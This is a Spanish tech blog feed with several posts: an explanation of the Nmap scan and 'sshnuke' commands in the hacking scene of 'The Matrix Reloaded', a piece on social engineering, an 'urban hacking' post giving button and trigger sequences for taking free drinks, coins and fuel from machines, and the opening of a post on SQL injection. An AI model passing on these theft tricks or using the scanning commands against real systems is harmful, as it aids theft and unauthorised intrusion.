<p>En fin, <strong>multitud de películas en las que se cometen continuamente errores con el tema informático</strong> y que, parece ser, se seguirán cometiendo. Podríamos hablar de la dirección de correo errónea (<code>Max@Job 3:14</code>) en &#8216;<a href="http://es.wikipedia.org/wiki/Misi%C3%B3n:_Imposible">Misión imposible</a>&#8216;, del iPod que lee cientos de códigos en pocos segundos, para escanearlos con un cabezal acoplado en plan MacGyver, en &#8216;<a href="http://es.wikipedia.org/wiki/Firewall_(pel%C3%ADcula)">Firewall</a>&#8216;, de obtener una contraseña gracias a la imagen de una cámara de seguridad en &#8216;<a href="http://es.wikipedia.org/wiki/Conspiraci%C3%B3n_en_la_red">Conspiración en la Red</a>&#8216; o de los cientos de errores típicos que se cometen en todas las películas: <strong>programas que amplían una matrícula fotografiada desde tomar por culo hasta que se visualiza perfectamente</strong>, monitores con un brillo tal que reflejan su imagen perfectamente en la cara del usuario, listados en pantalla con el soniquete de fondo de una impresora matricial, velocidades de transferencia de datos inverosímiles, etcétera.</p>
<p>Sin embargo, y para nuestro regocijo, <strong>existen películas en las que el asunto informático se ha tratado correctamente</strong>. Títulos como &#8216;<a href="http://es.wikipedia.org/wiki/El_ultim%C3%A1tum_de_Bourne">El ultimátum de Bourne</a>&#8216;, &#8216;<a href="http://es.wikipedia.org/wiki/La_Jungla_4.0">La jungla 4.0</a>&#8216;, &#8216;<a href="http://es.wikipedia.org/wiki/El_asalto_final_(Hackers_2:_Operaci%C3%B3n_Takedown)">El asalto final (Hackers 2: Operación Takedown)</a>&#8216; o &#8216;<a href="http://es.wikipedia.org/wiki/Matrix_Reloaded">The Matrix Reloaded</a>&#8216; son buenos ejemplos de películas en los que <strong>las escenas con ordenadores son totalmente creíbles</strong>, porque aparecen sistemas operativos que existen, software real y comandos reales que, además, se introducen de forma acertada y eficaz para el fin que se desea llevar a cabo.</p>
<p>Y es precisamente en &#8216;The Matrix Reloaded&#8217; donde los <a href="http://es.wikipedia.org/wiki/Wachowski">hermanos Wachowski</a> llevaron, a mi entender, el tema hacking hasta su punto más riguroso en la escena en la que Trinity (<a href="http://es.wikipedia.org/wiki/Carrie-Anne_Moss">Carrie-Anne Moss</a>) intenta reventar el acceso al ordenador de la central eléctrica. La foto siguiente muestra a qué escena me refiero.</p>
<div id="attachment_961" class="wp-caption aligncenter" style="width: 510px"><a href="http://www.teknoplof.com/wp-content/uploads/2010/03/z10n_2.jpg"><img class="size-full wp-image-961" title="Hacking en Matrix" src="http://www.teknoplof.com/wp-content/uploads/2010/03/z10n_1.jpg" alt="Hacking en Matrix" width="500" height="303" /></a><p class="wp-caption-text">Hacking en Matrix (clic para ampliar)</p></div>
<p>En la imagen se puede apreciar perfectamente la pantalla de la consola que Trinity ha manejado una vez realizada toda la secuencia hasta introducir la contraseña. Es un <em>shell</em> no estándar de una consola Unix adaptado al tono verde que tiñe todas las películas de la saga &#8216;The Matrix&#8217;.</p>
<p><strong>Trinity utiliza para reventar la contraseña</strong>, en principio, <strong>el programa <a href="http://nmap.org/">Nmap</a></strong> (en su versión 2.54BETA25, una versión real), que es un software de código abierto que <strong>se utiliza en el mundo del hacking y de la seguridad informática para escanear o rastrear puertos en una máquina remota con el objeto de encontrar agujeros de seguridad</strong>. Nmap ofrece la posibilidad de encontrar todos los puertos abiertos de una máquina objetivo y poder comprobar así si dicha máquina es vulnerable a un ataque sobre ese puerto.</p>
<p>La línea de comando que emplea ella es la siguiente:</p>
<div><div class="wp-synhighlighter-expanded"><a name="#codesyntax11"></a><a style="wp-synhighlighter-title" href="#codesyntax11"  onClick="javascript:wpContainer=this.parentNode.parentNode.getElementsByTagName('div')[1];	if(wpContainer.style.display=='none') {wpContainer.style.display=''; this.parentNode.className='wp-synhighlighter-expanded'} 	else {wpContainer.style.display='none'; this.parentNode.className='wp-synhighlighter-collapsed'}">Línea de comando</a></div><div class="wp-synhighlighter-inner"><pre class="php" style="font-family:monospace;">nmap -v -sS -0 10.2.2.2</pre></div></div>
<p>El parámetro <code>-v</code> le indica a Nmap que aumente el nivel de mensajes detallados; <code>-sS</code> prepara a la aplicación para un análisis de puertos TCP mediante la técnica SYN; y <code>-O</code> especifica que debe ser activada la detección del sistema operativo que está escuchando en ese puerto.</p>
<p><strong>Un escaneo SYN puede realizarse rápidamente, sondeando miles de puertos por segundo en una red rápida en la que no existan cortafuegos</strong>. El sondeo SYN es relativamente sigiloso y poco molesto, ya que no llega a completar las conexiones TCP. A esta técnica se la conoce habitualmente como sondeo medio abierto, porque no se llega a abrir una conexión TCP completa. Se envía un paquete <code>SYN</code>, como si se fuera a abrir una conexión real, y después se espera una respuesta. Si se recibe un paquete <code>SYN/ACK</code> esto indica que el puerto está a la escucha (abierto), mientras que si se recibe un <code>RST</code> (<em>reset</em>) indica que no hay nada escuchando en el puerto. Si no se recibe ninguna respuesta (o si se recibe un error de tipo <a href="http://es.wikipedia.org/wiki/Internet_Control_Message_Protocol">ICMP</a> no alcanzable) después de realizar algunas retransmisiones, entonces el puerto se marca como filtrado.</p>
<p>Por último, Trinity pasa a Nmap como parámetro final la dirección IP del ataque (10.2.2.2), que es una dirección perfectamente válida de un adaptador de red en un servidor.</p>
<p>Lo siguiente que podemos observar en la imagen son los resultados que ha arrojado Nmap. En este caso <strong>sólo ha descubierto un puerto abierto</strong> que, casualmente, es el puerto TCP 22, el puerto de SSH (<em>Secure SHell</em>). <a href="http://es.wikipedia.org/wiki/Secure_Shell"><strong>SSH</strong></a><strong> es el nombre de un protocolo, y del programa que lo implementa, y sirve para acceder a máquinas remotas a través de una red</strong>. Permite manejar por completo la computadora mediante un intérprete de comandos y, además, <strong>implementa la seguridad que otros protocolos de sus mismas características</strong> (como <a href="http://es.wikipedia.org/wiki/Telnet">Telnet</a>) <strong>no tienen</strong>.</p>
<p>Al darse cuenta de que el puerto 22 está abierto en la máquina remota, Trinity, que es una hacker experimentada porque le habrán enchufado en Matrix un programa de esos directo a la mente para aprender a hackear, <strong>no se le ocurre otra cosa que utilizar un <a href="http://es.wikipedia.org/wiki/Exploit"><em>exploit</em></a> para reventar la seguridad del equipo</strong> y hacerse con su dominio. El <em>exploit</em> utilizado es el <em>SSHv1 CRC32</em>, que existe en la realidad y fue creado por el analista de seguridad Michael Zalewski en el año 2001.</p>
<p><strong>Un <em>exploit</em> es una pieza de software</strong>, un fragmento de datos o una secuencia de comandos <strong>con el fin de automatizar el aprovechamiento de un error</strong>, fallo o vulnerabilidad, a fin de causar un comportamiento no deseado o imprevisto en los programas informáticos, hardware o componentes electrónicos (por lo general computarizados).</p>
<p>A este ataque en concreto contra un servidor SSH se le conoce como SSHNuke. <strong>El agujero de seguridad <em>SSHv1 CRC32</em> es un fallo de desbordamiento de memoria muy real</strong>. O quizás mejor lo fue, porque esperemos que los administradores de sistemas no tengan todavía por ahí un servidor SSH con software tan viejo como para contener este error (alguno seguro que hay). Explotado correctamente permite a un atacante remoto modificar su contraseña de <em>root</em> (cuenta de usuario en sistemas Unix que posee todos los derechos) y acceder al sistema vulnerable.</p>
<p>Vemos, por fin, que Trinity ejecuta el <em>exploit</em>, mediante la siguiente instrucción, contra la IP anterior y con el parámetro pertinente para cambiar la contraseña del administrador del sistema:</p>
<div><div class="wp-synhighlighter-expanded"><a name="#codesyntax12"></a><a style="wp-synhighlighter-title" href="#codesyntax12"  onClick="javascript:wpContainer=this.parentNode.parentNode.getElementsByTagName('div')[1];	if(wpContainer.style.display=='none') {wpContainer.style.display=''; this.parentNode.className='wp-synhighlighter-expanded'} 	else {wpContainer.style.display='none'; this.parentNode.className='wp-synhighlighter-collapsed'}">Línea de comando</a></div><div class="wp-synhighlighter-inner"><pre class="php" style="font-family:monospace;">sshnuke 10.2.2.2 -rootpw=&quot;Z10N0101&quot;</pre></div></div>
<p><strong>Atención especial al detalle de la contraseña nueva</strong> (<code>Z10N0101</code>). Si os dais cuenta está formada por dos partes: <code>Z10N</code> y <code>0101</code>. <code>Z10N</code> es la forma de escribir Zion (la última ciudad humana real fuera de Matrix) en &#8220;leet&#8221;, que es <strong>un tipo de escritura con caracteres alfanuméricos usado por algunas comunidades y usuarios de diferentes medios de Internet</strong>, sobre todo los hackers (aunque en &#8220;leet&#8221; auténtico, la <code>Z</code> debería haber sido sustituida por un <code>2</code>, dando lugar a <code>210N</code>). <a href="http://www.pulsodigital.net/2010/03/101-datos-curiosos-sobre-matrix.html">Y el número <code>101</code> es una cifra que aparece mucho en toda la saga de &#8216;The Matrix&#8217;</a>.</p>
<p>Una vez que Trinity cambia la contraseña a su antojo, lo que hace es acceder, vía SSH, a la máquina remota con privilegios de <em>root</em> (introduciendo su contraseña recién restaurada).</p>
<p>En fin, <strong>muchos directores de películas deberían mirarse en el reflejo de &#8216;The Matrix&#8217;</strong> para, a la hora de introducir temas informáticos en sus obras, recurrir a expertos en la materia y conseguir así un producto digno. Ya sé que, en el fondo, todo esto es de putos friquis como nosotros, y que a la gente que va al cine le gusta ver espectaculares efectos tridimensionales en la pantalla de un ordenador, pero, si no se inventan una forma nueva para conducir un coche, ¿por qué hacerlo para manejar un ordenador?</p>
<p>Seguro que esos directores se gastan más dinero en contratar a expertos pilotos para que el manejo de una jodida avioneta quede realista y luego no invierten un mísero euro en la materia informática. Un error, porque <strong>sus películas serán la risión en los foros especializados de Internet</strong>, y sus personas de ellos rebajadas a directores de pacotilla. He dicho.</p>
<div style="height:33px;" class="really_simple_share robots-nocontent snap_nopreview"><div class="really_simple_share_facebook_like" style="width:100px;">
				<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fwww.teknoplof.com%2F2010%2F03%2F30%2Fsshv1-crc32-el-exploit-de-matrix-reloaded%2F&amp;layout=button_count&amp;show_faces=false&amp;width=100&amp;action=like&amp;colorscheme=light&amp;send=false&amp;height=27" 
						scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:100px; height:27px;" allowTransparency="true"></iframe>
				</div><div class="really_simple_share_google1" style="width:90px;">
					<g:plusone size="medium" href="http://www.teknoplof.com/2010/03/30/sshv1-crc32-el-exploit-de-matrix-reloaded/" ></g:plusone>
				</div><div class="really_simple_share_twitter" style="width:110px;">
					<a href="http://twitter.com/share" class="twitter-share-button" data-count="horizontal" 
						data-text="SSHv1 CRC32, el exploit de &#8216;Matrix Reloaded&#8217;" data-url="http://www.teknoplof.com/2010/03/30/sshv1-crc32-el-exploit-de-matrix-reloaded/" 
						data-via="" data-related="Jonathan:The author of this post"></a> 
				</div></div>
		<div style="clear:both;"></div>]]></content:encoded>
			<wfw:commentRss>http://www.teknoplof.com/2010/03/30/sshv1-crc32-el-exploit-de-matrix-reloaded/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Ingeniería social</title>
		<link>http://www.teknoplof.com/2010/02/17/ingenieria-social/</link>
		<comments>http://www.teknoplof.com/2010/02/17/ingenieria-social/#comments</comments>
		<pubDate>Wed, 17 Feb 2010 17:40:16 +0000</pubDate>
		<dc:creator>Jonathan</dc:creator>
				<category><![CDATA[Underground]]></category>
		<category><![CDATA[engaño]]></category>
		<category><![CDATA[ingeniería]]></category>
		<category><![CDATA[kevin]]></category>
		<category><![CDATA[mitnick]]></category>
		<category><![CDATA[social]]></category>
		<category><![CDATA[timo]]></category>

		<guid isPermaLink="false">http://www.teknoplof.com/?p=744</guid>
		<description><![CDATA[La gente es más inocente que un balón de playa. De buenos que somos rayamos en lo ridículo, bordeamos la frontera con los tontos de baba. Nos gusta ayudar o, mejor dicho, quedar bien ante los demás. Si alguien que no conocemos nos pide algo por teléfono de buenas maneras y con voz sensual, le damos hasta [...]]]></description>
			<content:encoded><![CDATA[<div id="attachment_746" class="wp-caption alignleft" style="width: 145px"><img class="size-full wp-image-746" title="Al acecho..." src="http://www.teknoplof.com/wp-content/uploads/2010/02/ingenieria_social.jpg" alt="Al acecho..." width="135" height="133" /><p class="wp-caption-text">Al acecho...</p></div>
<p>La gente es más inocente que un balón de playa. De buenos que somos rayamos en lo ridículo, bordeamos la frontera con los tontos de baba. Nos gusta ayudar o, mejor dicho, quedar bien ante los demás. Si alguien que no conocemos nos pide algo por teléfono de buenas maneras y con voz sensual, le damos hasta la talla de ropa interior. Si un desconocido nos aborda por la calle y nos pide que le socorramos y le dejemos el móvil para llamar, le marcamos nosotros al pobre, que está muy nervioso. Bienvenidos al maravilloso mundo de la ingeniería social.</p>
<p>Una de las técnicas de hacking más antiguas (y eficaces) es la ingeniería social. Es la <strong>&#8220;ciencia&#8221; que permite obtener información confidencial mediante la manipulación psicológico social de los individuos usuarios legítimos</strong>. Se trata de técnicas muy antiguas que, probablemente, llegaron al mundo binario nacidas en otros contextos, porque a la gente se la ha engañado toda la vida. El principio que sustenta la ingeniería social referida a la computación es que <strong>en cualquier sistema informático el usuario es el eslabón más débil</strong>.</p>
<p>El gran <a href="http://es.wikipedia.org/wiki/Kevin_Mitnick">Kevin Mitnick</a>, uno de los hackers más famosos de los años ochenta y noventa en EEUU y ahora reconvertido en consultor de seguridad, fue el más alto representante en lo que a ingeniería social se refiere. Según sus propias tesis, este tipo de ataque para averiguar claves de acceso, contraseñas y datos sensibles de usuarios está fundamentado en cuatro pilares básicos que son:</p>
<ol>
<li>Todos <strong>queremos ayudar</strong>.</li>
<li>El primer movimiento es siempre de <strong>confianza hacia el otro</strong>.</li>
<li><strong>No nos gusta</strong> decir que no.</li>
<li>A todos nos gusta <strong>que nos alaben</strong>.</li>
</ol>
<p>Bien es cierto que hoy día los usuarios estamos más alerta ante engañifas tales, porque vivimos mejor informados y vemos por la tele continuamente noticias de timos a través de Internet o del teléfono. Pero en la época de Mitnick, si a un empleado de una gran empresa le llamaba un hacker social haciéndose pasar por un superior (al que ni siquiera conocía) o por un compañero en apuros, el hombre soltaba por su boca contraseñas y la vida si era necesario.</p>
<p>Esto no quiere decir que <strong>a estas alturas de la existencia no siga habiendo gente que caiga en bulos y enredos</strong>. Y me viene a la memoria un mail, encadenado de esos, que recibí hace poco. En él se relataba una historia que venía a decir (y hablo de memoria) que una chica apurada solicitaba el móvil de otra persona en un restaurante para llamar a su marido, que debía pasar a recogerla y no había aparecido. El hombre le ofrece su móvil y la mujer, tras retirarse un poco, realiza una llamada. Pocos minutos después vuelve a pedir el teléfono porque su marido sigue sin aparecer, telefonea de nuevo y devuelve el aparato a su dueño; desaparece. Posteriormente el dueño del móvil recibe una llamada de su madre llorando y preguntado a ver si está bien. El hombre no comprende nada hasta que la madre le explica que una mujer la llamó diciéndole que su hijo estaba secuestrado y requiriendo un rescate inmediato. Además le dijo que aquello no era ninguna broma, y que como prueba estaba telefoneando desde el móvil de su hijo. Posteriormente la volvió a llamar para confirmar la recepción del rescate.</p>
<p>Dudo mucho que la historia sea cierta, pero podría haber sido totalmente verídica. La cantidad de correos electrónicos que llegan a nuestros buzones solicitando nuestras contraseñas de servicios de mensajería o nuestros datos bancarios es ingente, y <strong>estamos curados de espanto</strong>. Pero, aún así, se <strong>siguen produciendo timos</strong> a plena luz del día.</p>
<p>La ingeniería social no siempre es esencialmente delictiva, un ejemplo podría ser el de un vendedor que investiga las costumbres y aficiones de un cliente para establecer una relación de confianza o empatía y poder vender con mayor facilidad sus productos o servicios. Google, sin ir más lejos, nos espía continuamente para, según ellos, mejorar la experiencia del usuario. Pero, ¿quién no se ha encontrado un correo en su cuenta de, por decir algo, una empresa que fabrica cajas registradoras dos días después de haber realizado un búsqueda sobre ese mismo asunto? <strong>Aquí hay algo que no huele muy bien</strong>.</p>
<p>Los gobiernos utilizan continuamente diversidad de técnicas sociales para desviar la atención de temas inconvenientes, críticos, de escándalo, de corrupción, etcétera. <strong>Las denominadas &#8220;cortinas de humo&#8221; son técnicas de ingeniería social</strong>. Todo el mundo es capaz de mentir por algo que de verdad le importe, y cualquiera de nosotros es susceptible de caer en una trampa.</p>
<p>Lo más importante es <strong>dejarse llevar por la intuición y por el sentido común</strong>. Cualquiera debería saber que <strong>nuestros datos personales más confidenciales</strong> <strong>son absolutamente privados</strong>, y nadie puede solicitárnoslos por teléfono o por correo electrónico. Y que por mucho que te alaben y te den coba desde el otro lado de la línea, los altos cargos de tu empresa nunca te pedirían a ti directamente una contraseña. Además, créeme, el presidente de tu compañía no tiene una voz sensual, te lo aseguro.</p>
<div style="height:33px;" class="really_simple_share robots-nocontent snap_nopreview"><div class="really_simple_share_facebook_like" style="width:100px;">
				<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fwww.teknoplof.com%2F2010%2F02%2F17%2Fingenieria-social%2F&amp;layout=button_count&amp;show_faces=false&amp;width=100&amp;action=like&amp;colorscheme=light&amp;send=false&amp;height=27" 
						scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:100px; height:27px;" allowTransparency="true"></iframe>
				</div><div class="really_simple_share_google1" style="width:90px;">
					<g:plusone size="medium" href="http://www.teknoplof.com/2010/02/17/ingenieria-social/" ></g:plusone>
				</div><div class="really_simple_share_twitter" style="width:110px;">
					<a href="http://twitter.com/share" class="twitter-share-button" data-count="horizontal" 
						data-text="Ingeniería social" data-url="http://www.teknoplof.com/2010/02/17/ingenieria-social/" 
						data-via="" data-related="Jonathan:The author of this post"></a> 
				</div></div>
		<div style="clear:both;"></div>]]></content:encoded>
			<wfw:commentRss>http://www.teknoplof.com/2010/02/17/ingenieria-social/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Hacking urbano</title>
		<link>http://www.teknoplof.com/2009/11/29/hacking-urbano/</link>
		<comments>http://www.teknoplof.com/2009/11/29/hacking-urbano/#comments</comments>
		<pubDate>Sun, 29 Nov 2009 17:26:44 +0000</pubDate>
		<dc:creator>Jonathan</dc:creator>
				<category><![CDATA[Underground]]></category>
		<category><![CDATA[ascensor]]></category>
		<category><![CDATA[gasolina]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[surtidor]]></category>
		<category><![CDATA[vending]]></category>

		<guid isPermaLink="false">http://www.teknoplof.com/?p=308</guid>
		<description><![CDATA[Al margen de lo que es el mundo del hacking informático, se viene desarrollando hace ya mucho tiempo una especie de variante más lúdica (y no por ello menos ilegal) que se refiere a la explotación de trucos que poseen determinados aparatos electrónicos. Y cuando me refiero a estos aparatos no pretendo hablar de videoconsolas [...]]]></description>
			<content:encoded><![CDATA[<div id="attachment_317" class="wp-caption alignleft" style="width: 195px"><img class="size-full wp-image-317" title="Máquina expendedora" src="http://www.teknoplof.com/wp-content/uploads/2009/11/vending.jpg" alt="Máquina expendedora" width="185" height="231" /><p class="wp-caption-text">Máquina expendedora</p></div>
<p>Al margen de lo que es el mundo del hacking informático, se viene desarrollando hace ya mucho tiempo una especie de variante más lúdica (y no por ello menos ilegal) que se refiere a <strong>la explotación de trucos que poseen determinados aparatos electrónicos</strong>. Y cuando me refiero a estos aparatos no pretendo hablar de videoconsolas o maquinitas similares, sino de elementos más callejeros como pueden ser una máquina de Coca-Cola, un ascensor o un surtidor de gasolina.</p>
<p>¿Se puede hackear un ascensor? Pozí. ¿Y con qué fin? Poyaloverás.</p>
<p>Todo <em>tramánculo</em> que disponga de circuitos electrónicos es fácilmente hackeable, y no porque se puedan explotar <em>bugs </em>o fallos en la programación del mismo, que también, sino porque las técnicas que se utilizan muchas veces se refieren a trucos o accesos directos que utilizan los fabricantes para testear o comprobar la máquina o para recibir determinada información de la misma. Por ejemplo, las máquinas de <em>vending</em>, que podemos encontrar hoy día casi en cualquier esquina (refrescos, sándwiches, café, chucherías varias, etcétera), <strong>tienen una serie de &#8220;comandos ocultos&#8221; que sólo conocen los empleados que las manejan</strong> y que permiten visualizar en sus diminutas pantallas de leds información tal como el número de unidades vendidas, los errores generados o el dinero recaudado. Estas técnicas se van poco a poco difundiendo y al final los diseñadores tienen que cambiar la máquina y hacerla menos accesible al gran público.</p>
<p>Pero como el movimiento se demuestra andando, vamos a ver algunos ejemplos prácticos en formato videotubo que ponen de manifiesto lo tonta que es la supuestamente alta tecnología y lo listo que puede llegar a ser el ser humano. También es posible que alguno de los siguientes vídeos sean montajes, pero se ha intentado seleccionar los más representativos y los que más credibilidad pueden proporcionar.</p>
<blockquote><p><em>DISCLAIMER</em>: Algunas de las siguientes situaciones que visualizaremos representan acciones claramente delictivas. Hombre, robar una Pepsi de un máquina puede hacer un montonazo de gracia, pero es robar y punto pelota. <strong><span style="color: #008000;">tekno</span>PLOF<span style="color: #008000;">!</span></strong> no se hace responsable de los comentarios ni de las actuaciones aparecidas en los vídeos, sólo hace de mero intermediario entre la información que está ahí y sus lectores.</p></blockquote>
<p><span style="color: #99cc00;">EJEMPLO 1</span>. <strong>El ascensor</strong>. El truco consiste en llegar de un piso a otro sin que el aparato pare en ninguna otra altura intermedia aunque alguien haya pulsado el botón desde fuera. Se realiza pulsando (y manteniendo) el botón de cerrado de puertas y el piso en cuestión. Existen otras variantes como la de pulsar el botón de cerrado de puertas y el piso al que vas durante unos segundos y luego soltar. En el ascensor de mi casa no hay botón de cerrado de puertas, sólo de apertura, pero vive Dios que me haría tanta falta como el comer, que parece que todo Dios sale de casa cuando yo le doy al botón de llamada.</p>
<p style="TEXT-ALIGN: center"><p><a href="http://www.teknoplof.com/2009/11/29/hacking-urbano/"><em>Pinche aquí para ver el vídeo</em></a></p> </p>
<p style="TEXT-ALIGN: justify"><span style="color: #99cc00;">EJEMPLO 2</span>. <strong>La máquina de refrescos</strong>. Este me encanta porque actúa sobre las nuevas máquinas de refrescos que están empezándose a ver cada vez más, esas que tiene una especie de montacargas interno que sube a por la lata (o botella) y la trae hasta el agujero de salida. Consiste en (como apreciarás en el vídeo) introducir la mano para evitar que el refresco salga de la máquina. Después de un par de intentos la máquina detecta algún fallo al no poder expender la botella y te devuelve el dinero. La segunda vez dejas caer las dos botellas. Conclusión: dos Coca-Colas al precio de una.</p>
<p style="TEXT-ALIGN: center"><p><a href="http://www.teknoplof.com/2009/11/29/hacking-urbano/"><em>Pinche aquí para ver el vídeo</em></a></p></p>
<p style="TEXT-ALIGN: justify"><span style="color: #99cc00;">EJEMPLO 3</span>. <strong>Las monedas de una máquina de Coca-Cola</strong>. Esto ya es un robo prácticamente a mano armada. Dudo mucho que funcione o siga funcionando, pero todavía quedan máquinas de estas (un poco antiguas) por muchos rincones. El truco se basa en la pulsación de un código de botones (4 &#8211; 3 &#8211; 2 &#8211; 1 &#8211; 1 &#8211; 2 &#8211; 3 &#8211; 1 - 1) para terminar pulsando el retorno de moneda (manteniéndolo). Nótese cómo al principio se pulsa el mismo botón de retorno de moneda para comprobar que no hay dinero introducido.</p>
<p style="TEXT-ALIGN: center"><p><a href="http://www.teknoplof.com/2009/11/29/hacking-urbano/"><em>Pinche aquí para ver el vídeo</em></a></p></p>
<p style="TEXT-ALIGN: justify"><span style="color: #99cc00;">EJEMPLO 4</span>. <strong>El surtidor de gasolina</strong>. Este truco parece servir para obtener gasolina gratis en un surtidor de esos que tienen que activarte remotamente para poder repostar. Se basa en una combinación de bombeos cortos y largos (3 cortos &#8211; 2 largos &#8211; 1 corto &#8211; 2 largos &#8211; 3 cortos) con el gatillo de la manguera. ¡Y a echar!</p>
<p style="TEXT-ALIGN: center"> <p><a href="http://www.teknoplof.com/2009/11/29/hacking-urbano/"><em>Pinche aquí para ver el vídeo</em></a></p></p>
<p style="TEXT-ALIGN: justify"><span style="color: #99cc00;">EJEMPLO 5</span>. <strong>La máquina de chicles</strong>. Sí, sí, la de toda la vida de meter la moneda y girar la manivela. Ahora también se lleva mucho este sistema en otro tipo de máquinas que expenden bolas para niños con un regalito mierdoso en su interior que no vale lo que cuesta y que hace que el niño acabe jugando más con la bola del envoltorio que con el contenido. El hack consiste en utilizar una moneda de inferior tamaño (y valor, por supuesto) para, forrándola con papel, engañar a la máquina haciendo que piense que el tamaño y grosor son los correctos. Todo un éxito de un cerebro adolescente. Si es que no tendrán otra cosa en que pensar, jesusmariayjosé.</p>
<p style="TEXT-ALIGN: center"> <p><a href="http://www.teknoplof.com/2009/11/29/hacking-urbano/"><em>Pinche aquí para ver el vídeo</em></a></p></p>
<p style="TEXT-ALIGN: justify"><span style="color: #99cc00;">EJEMPLO 6</span>. <strong>La máquina de chucherías</strong>. ¡Patatas gratis! Un truco parecido al ya comentado de la máquina de refrescos. Básicamente consiste en engañar a la máquina expendedora, haciendo que crea que no ha caído el <em>snack</em> en cuestión, al cerrar el portón inferior en el momento preciso para, posteriormente, presionar el botón de retorno de moneda y obtener el dinero y las golosinas por la cara; sin desembolsar un mísero euro, vaya.</p>
<p style="TEXT-ALIGN: center"> <p><a href="http://www.teknoplof.com/2009/11/29/hacking-urbano/"><em>Pinche aquí para ver el vídeo</em></a></p></p>
<p style="TEXT-ALIGN: justify">En fin, en el tubo podréis encontrar multitud de ejemplos más de cómo hackear prácticamente todo, desde semáforos a cerraduras de coche, pasando por todo tipo de máquinas y maquinitas electrónicas. Esto sólo ha sido un somero ejemplo de algunas técnicas más o menos elaboradas que nunca hay que poner en práctica por ser claramente delictivas. Digo, ¿no?</p>
<p style="TEXT-ALIGN: justify">Y si la electrónica falla, siempre quedan las técnicas de baja tecnología como la que utiliza el elemento subversivo del siguiente vídeo. Eso sí, hay que tener el brazo largo y muy delgado.</p>
<p style="TEXT-ALIGN: center"> <p><a href="http://www.teknoplof.com/2009/11/29/hacking-urbano/"><em>Pinche aquí para ver el vídeo</em></a></p></p>
<p style="TEXT-ALIGN: justify">Lo más importante es ir siempre con mucho cuidado, y no vayáis a enseñarle estos vídeos a vuestra hija o sobrinita, no le vaya a pasar esto:</p>
<p style="TEXT-ALIGN: center"> <p><a href="http://www.teknoplof.com/2009/11/29/hacking-urbano/"><em>Pinche aquí para ver el vídeo</em></a></p></p>
<p style="TEXT-ALIGN: justify">Angelitos&#8230; Lo que no se les ocurra.</p>
<p style="TEXT-ALIGN: center"> </p>
<div style="height:33px;" class="really_simple_share robots-nocontent snap_nopreview"><div class="really_simple_share_facebook_like" style="width:100px;">
				<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fwww.teknoplof.com%2F2009%2F11%2F29%2Fhacking-urbano%2F&amp;layout=button_count&amp;show_faces=false&amp;width=100&amp;action=like&amp;colorscheme=light&amp;send=false&amp;height=27" 
						scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:100px; height:27px;" allowTransparency="true"></iframe>
				</div><div class="really_simple_share_google1" style="width:90px;">
					<g:plusone size="medium" href="http://www.teknoplof.com/2009/11/29/hacking-urbano/" ></g:plusone>
				</div><div class="really_simple_share_twitter" style="width:110px;">
					<a href="http://twitter.com/share" class="twitter-share-button" data-count="horizontal" 
						data-text="Hacking urbano" data-url="http://www.teknoplof.com/2009/11/29/hacking-urbano/" 
						data-via="" data-related="Jonathan:The author of this post"></a> 
				</div></div>
		<div style="clear:both;"></div>]]></content:encoded>
			<wfw:commentRss>http://www.teknoplof.com/2009/11/29/hacking-urbano/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Inyecciones SQL (¡a que te pincho!)</title>
		<link>http://www.teknoplof.com/2009/11/26/inyecciones-sql-%c2%a1a-que-te-pincho/</link>
		<comments>http://www.teknoplof.com/2009/11/26/inyecciones-sql-%c2%a1a-que-te-pincho/#comments</comments>
		<pubDate>Thu, 26 Nov 2009 09:12:53 +0000</pubDate>
		<dc:creator>Jonathan</dc:creator>
				<category><![CDATA[Underground]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[inyección]]></category>
		<category><![CDATA[SQL]]></category>

		<guid isPermaLink="false">http://www.teknoplof.com/?p=195</guid>
		<description><![CDATA[El hacking ya no es lo que era en los noventa. Antes, la seguridad era mínima y los administradores de sistemas eran los mismos chupatintas que lo mismo te configuraban un proxy que te atendían en la ventanilla. Los sistemas operativos tenían más agujeros que un queso de esos con agujeros y, para más inri, [...]]]></description>
			<content:encoded><![CDATA[<div id="attachment_196" class="wp-caption alignleft" style="width: 195px"><img class="size-full wp-image-196" title="Inyección SQL" src="http://www.teknoplof.com/wp-content/uploads/2009/11/inyeccion_sql.jpg" alt="Inyección SQL" width="185" height="229" /><p class="wp-caption-text">Inyección SQL</p></div>
<p>El hacking ya no es lo que era en los noventa. Antes, la seguridad era mínima y los administradores de sistemas eran los mismos chupatintas que lo mismo te configuraban un proxy que te atendían en la ventanilla. Los sistemas operativos tenían más agujeros que un queso de esos con agujeros y, para más inri, las actualizaciones brillaban por su ausencia</p>
<p>Casi nadie tenía Internet, y los cuatro frikis que compramos un módem por aquello de chatear, nos las vimos y nos las deseamos para configurarlo y conectarlo a la Red, cortando la línea de teléfono a tus padres durante tardes interminables y escurriendo el bulto cuando llegaba la factura de Telefónica. Eso sí, <strong>la sensación de satisfacción que se te quedaba en el cuerpo cuando conseguías desenmarañar aquel entramado de siglas era indescriptible</strong>.</p>
<p>Nos cobraban 5.000 pesetas mensuales por la conexión, teléfono a parte, y existía algo que se llamaba <a href="http://es.wikipedia.org/wiki/InfoV%C3%ADa">Infovía</a> y que muchos de los que lean esto ni sabrán lo que fue. Pululaban todavía las BBS, el chat se hacía desde un cliente de IRC y las páginas web daban verdadera pena.</p>
<p>Aparecieron los e-zines (fanzines digitales) y corrían de mail en mail como antaño sus hermanos mayores de papel de mano en mano. Descubrí <a href="http://www.set-ezine.org">SET</a> antes de que fuera SET, cuando se llamaba Saqueadores a secas. Descubrí también <a href="http://www.7a69ezine.org">7a69</a>, <a href="http://www.raza-mexicana.org">Raza Mexicana</a>, <a href="http://hackstory.net/index.php/RareGaZz">Raregazz</a> y otros de los que no recuerdo el nombre. Había uno muy divertido que no tenía como tema principal el hacking ni la informática (y que tampoco me acuerdo cómo se llamaba) que enseñaba desde cómo fabricar una bomba a las mejores maneras para asesinar a un gato. Aquella época era así; el destape digital.</p>
